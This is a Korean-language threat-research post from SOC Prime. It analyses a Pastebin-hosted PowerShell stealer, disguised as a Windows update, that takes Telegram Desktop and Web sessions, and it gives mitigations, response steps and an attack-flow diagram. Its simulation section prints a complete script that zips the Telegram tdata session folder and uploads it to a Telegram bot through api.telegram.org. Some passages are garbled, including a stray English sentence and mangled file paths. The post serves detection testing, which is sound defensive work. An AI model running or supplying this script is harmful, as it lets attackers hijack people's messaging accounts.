SOC Prime Bias: 중간

27 4월 2026 18:12

텔레그램 세션 탈취기 해부: Pastebin에 호스팅된 PowerShell 스크립트가 데스크톱 및 웹 세션을 타겟으로 하는 방법

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
텔레그램 세션 탈취기 해부: Pastebin에 호스팅된 PowerShell 스크립트가 데스크톱 및 웹 세션을 타겟으로 하는 방법
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

Pastebin에 호스팅된 악성 PowerShell 스크립트가 Telegram Desktop 세션 데이터를 감염된 시스템에서 훔쳐가는 Windows 업데이트로 가장하고 있습니다. 스크립트는 호스트 세부 정보를 수집하고 Telegram tdata 디렉토리를 압축하여 Telegram Bot API를 통해 생성된 아카이브를 탈취합니다. 연구자들은 또한 Telegram Web 인증 키를 캡처하여 로컬 HTTP 수집기로 전달하도록 설계된 관련 웹 기반 스틸러를 확인했습니다. 두 도구 모두 알림을 위해 동일한 Telegram 봇에 의존하고 있으며, 이용 가능한 증거에 따르면 이는 광범위한 운영에서 사용되기보다는 테스트 단계에 머물러 있는 것으로 보입니다.

조사

분석가들은 Pastebin에 호스팅된 두 개의 스크립트 변형을 회수하고 하드 코딩된 봇 토큰과 채팅 ID를 발견했으며 전체 탈취 과정을 재구성했습니다. 실행 중에 스크립트는 Telegram.exe를 종료하고 tdata 폴더를 압축하고 봇의 sendDocument API 메서드를 통해 ZIP 파일을 업로드합니다. 봇 텔레메트리는 또한 MTProto 인증 키를 사설 수집기에 전송한 별도의 웹 중심 스틸러를 노출시켰습니다. 전체적으로, 이 발견은 대규모 캠페인보다는 기능 검증 및 테스트를 가리킵니다. 192.168.137.131:5000. Overall, the findings point to functional testing and validation rather than a mature, large-scale campaign.

완화 조치

Telegram이 필요하지 않은 조직은 api.telegram.org 로의 아웃바운드 트래픽을 차단해야 합니다. 방어자는 Telegram API 엔드포인트를 타겟으로 하는 PowerShell에서 Invoke-RestMethod or WebClient 의 사용을 감시해야 하며 임시 디렉터리에 생성된 ZIP 아카이브에서 tdata 콘텐츠가 포함된 ZIP을 탐지해야 합니다. 노출된 봇 토큰은 즉시 철회하고 교체하여 추가적인 악용을 방지해야 합니다.

응답

스크립트가 발견되면 연관된 PowerShell 프로세스를 종료하고 생성된 diag.zip 아카이브를 제거하세요. 영향을 받은 계정에 연결된 모든 활성 Telegram 세션을 취소하고 2단계 인증을 활성화하여 지속적인 접근 위험을 줄이세요. 봇 토큰은 변경하고 연결된 봇 채팅을 검토하여 탈취된 데이터의 증거를 확인하세요. 추가적인 자격 증명이나 세션 자료가 수집되었는지를 확인하기 위한 더 넓은 법률 조사를 수행해야 합니다.

“graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 %% Action nodes action_user_exec[“ActionT1204 User Execution
피해자가 Windows Telemetry Update라는 PowerShell 스크립트를 실행
기술 T1036 가장”] class action_user_exec action action_powershell_interp[“ActionT1059.001 PowerShell
PowerShell 인터프리터를 통해 스크립트가 실행”] class action_powershell_interp action action_sysinfo[“ActionT1082 시스템 정보 발견
USERNAME, COMPUTERNAME 및 공용 IP 수집”] class action_sysinfo action action_collect_tdata[“ActionT1005 로컬 시스템에서 데이터
Telegram Desktop tdata 디렉터리를 찾고 Telegram.exe 종료”] class action_collect_tdata action action_archive[“ActionT1560.001 아카이브 유틸리티
Compress‑Archive가 수집한 파일로 diag.zip 생성”] class action_archive action action_delete[“ActionT1070.004 파일 삭제
업로드 후 diag.zip 삭제”] class action_delete action action_exfiltration[“ActionT1020 자동화된 탈취
Telegram Bot sendDocument 엔드포인트를 사용하여 zip 파일을 탈취
하위 기술 T1041 C2 채널을 통한 탈취, T1567 웹 서비스를 통한 탈취, T1071.001 웹 프로토콜”] class action_exfiltration action action_session_hijack[“ActionT1563 원격 서비스 세션 하이재킹
수확된 tdata에서 MTProto 인증 키 재생”] class action_session_hijack action action_steal_cookies[“ActionT1550.004 대체 인증 자료 사용
브라우저 저장소에서 Telegram 웹 세션 쿠키를 훔쳐 수집기로 전달”] class action_steal_cookies action %% Tool / Process nodes tool_powershell[“Tool이름: PowerShell
설명: Windows 명령줄 셸 및 스크립팅 언어”] class tool_powershell tool tool_compress[“Tool이름: Compress‑Archive
설명: ZIP 아카이브를 생성하기 위한 PowerShell cmdlet”] class tool_compress tool process_telegram[“Process이름: Telegram.exe
설명: Telegram 메시징용 데스크톱 클라이언트”] class process_telegram process tool_telegram_bot[“Tool이름: Telegram Bot API
설명: 데이터 탈취에 사용되는 sendDocument 엔드포인트”] class tool_telegram_bot tool %% Connections showing flow action_user_exec –>|triggers| action_powershell_interp action_powershell_interp –>|uses| tool_powershell action_powershell_interp –>|executes| action_sysinfo action_sysinfo –>|collects| action_collect_tdata action_collect_tdata –>|terminates| process_telegram action_collect_tdata –>|uses| tool_compress action_collect_tdata –>|creates| action_archive action_archive –>|uses| tool_compress action_archive –>|produces| action_exfiltration action_exfiltration –>|uses| tool_telegram_bot action_exfiltration –>|deletes| action_delete action_delete –>|cleans up| action_exfiltration action_exfiltration –>|enables| action_session_hijack action_session_hijack –>|facilitates| action_steal_cookies “

공격 흐름

시뮬레이션 실행

전제 조건: Telemetry & Baseline Pre-flight Check가 통과되어야 합니다.

이 섹션은 탐지 규칙을 트리거하도록 설계된 적 공격 기법(TTP)의 정확한 실행을 설명합니다. 명령과 내러티브는 반드시 식별된 TTP를 직접 반영하고 탐지 논리에 예상되는 정확한 텔레메트리를 생성하는 것을 목표로 해야 합니다.

  • 공격 내러티브 및 명령:

    1. 사전 정찰: 공격자는 호스트의 공용 IP를 발견하기 위해 api.ipify.org 를 쿼리합니다(기록에 나중에 사용됨).
    2. 서비스 중단: 파일이 잠기지 않도록 하기 위해 합법적인 Telegram Desktop 프로세스를 중지합니다.
    3. 데이터 수집: Telegram Desktop tdata 디렉토리(세션 파일)를 임시 위치로 재귀적으로 복사합니다.
    4. 아카이브 생성: 수집된 데이터를 diag.zip.
    5. 탐지: 악성 Telegram Bot을 통해 아카이브를 전송합니다 Invoke-RestMethod.
    6. 정리: 임시 아카이브를 삭제하고 필요 시 Telegram을 다시 시작합니다.
  • 회귀 테스트 스크립트: 전체 공격 체인을 단일 PowerShell 명령줄에서 실행합니다(탐지 규칙과 일치).

    # Windows Telemetry Update – Telegram 세션 스틸러
    $ip = (Invoke-RestMethod -Uri "http://api.ipify.org").Content;
    Stop-Process -Name Telegram -Force;
    $src = "$env:APPDATATelegram Desktoptdata";
    $dst = "$env:TEMPdiag";
    Copy-Item -Path $src -Destination $dst -Recurse -Force;
    Compress-Archive -Path $dst* -DestinationPath "$env:TEMPdiag.zip" -Force;
    $botToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11";
    $chatId = "987654321";
    Invoke-RestMethod -Uri "https://api.telegram.org/bot$botToken/sendDocument?chat_id=$chatId" -Method Post -InFile "$env:TEMPdiag.zip" -ContentType "multipart/form-data";
    Remove-Item -Path "$env:TEMPdiag.zip" -Force;
  • 정리 명령: 환경을 원래 상태로 복원합니다.

    # Telegram을 원하면 다시 시작하고 복사된 데이터를 제거합니다.
    Start-Process -FilePath "$env:ProgramFilesTelegram DesktopTelegram.exe" -WindowStyle Hidden;
    Remove-Item -Path "$env:TEMPdiag" -Recurse -Force;